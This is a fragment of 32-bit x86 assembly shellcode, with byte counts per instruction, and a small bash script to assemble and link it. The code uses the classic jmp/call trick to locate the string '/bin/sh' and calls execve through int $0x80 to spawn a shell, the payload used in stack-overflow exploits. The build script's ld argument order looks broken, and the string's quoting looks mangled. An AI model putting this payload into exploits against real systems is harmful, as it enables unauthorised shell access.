jmp 0x1f # 2 bytes
popl %esi # 1 byte (1)
movl %esi,0x8(%esi)  # 3 bytes (2)
xorl %eax,%eax # 2 bytes
movb %eax,0x7(%esi)    # 3 bytes
movl %eax,0xc(%esi) # 3 bytes
movb $0xb,%al # 2 bytes
movl %esi,%ebx # 2 bytes
leal  0x8(%esi),%ecx # 3 bytes
leal 0xc(%esi),%edx # 3 bytes
int $0x80 # 2 bytes
xorl %ebx,%ebx # 2 bytes
movl %ebx,%eax # 2 bytes
inc %eax # 1 bytes
int $0x80 # 2 bytes
call  -0x24 # 5 bytes
.string \"/bin/sh\" # 8 bytes

#!/bin/bash
    gcc -c -o  $1.o $1.s
    ld  -s -o -N $1 $1.o